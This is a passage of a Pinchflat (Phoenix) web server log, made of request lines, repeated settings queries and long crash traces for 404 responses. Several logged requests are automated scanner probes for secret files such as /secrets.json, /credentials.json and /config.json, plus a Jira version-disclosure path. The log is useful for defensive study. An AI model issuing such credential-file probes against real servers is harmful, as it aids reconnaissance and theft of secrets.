PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAsEn3_hsEqIAAcEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35054}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9598.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAsEn3_hsEqIAAcEC"} ], scheme: (truncated) 15:21:46.485 [info] POST /api/gql 15:21:46.485 [info] Sent 404 in 189µs 15:21:46.485 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:46.663 [info] GET /settings.js 15:21:46.664 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:21:46.664 [debug] QUERY OK source="settings" db=0.2ms idle=468.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.664 [debug] QUERY OK source="settings" db=0.0ms idle=468.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.664 [debug] QUERY OK source="settings" db=0.0ms idle=232.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.664 [debug] QUERY OK source="settings" db=0.0ms idle=232.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.665 [info] Sent 200 in 1ms 15:21:46.770 [info] GET /s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 15:21:46.770 [debug] QUERY OK source="settings" db=0.2ms idle=272.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.771 [debug] QUERY OK source="settings" db=0.0ms idle=106.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:46.771 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:46.771 [error] #PID<0.9604.0> running PinchflatWeb.Endpoint (connection #PID<0.9603.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35084}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9604.0>, params: %{}, path_info: ["s", "038313e29343e2034323e23373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAtVVDvxeu-0AAcJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35084}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9603.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/038313e29343e2034323e23373/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35084}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9604.0>, params: %{}, path_info: ["s", "038313e29343e2034323e23373", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", (truncated) 15:21:47.092 [info] GET /settings.json 15:21:47.092 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:21:47.093 [debug] QUERY OK source="settings" db=0.2ms idle=428.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.093 [debug] QUERY OK source="settings" db=0.0ms idle=428.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.093 [debug] QUERY OK source="settings" db=0.0ms idle=428.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.093 [debug] QUERY OK source="settings" db=0.0ms idle=323.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.094 [info] Sent 200 in 2ms 15:21:47.401 [info] GET /secrets.json 15:21:47.401 [debug] QUERY OK source="settings" db=0.0ms idle=630.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.401 [debug] QUERY OK source="settings" db=0.0ms idle=308.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.401 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:47.401 [error] #PID<0.9608.0> running PinchflatWeb.Endpoint (connection #PID<0.9607.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9608.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAvrs-1loXqwAAcLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35106}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9608.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAvrs-1loXqwAAcLC"} ], (truncated) 15:21:47.635 [info] GET /credentials.json 15:21:47.636 [debug] QUERY OK source="settings" db=0.0ms idle=542.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.636 [debug] QUERY OK source="settings" db=0.0ms idle=542.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:47.636 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:47.636 [error] #PID<0.9610.0> running PinchflatWeb.Endpoint (connection #PID<0.9609.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35118}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9610.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAwjokznIXekAAcMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35118}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9609.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 35118}, bindings: %{}, sock: {{172, 19, 0, 2}, 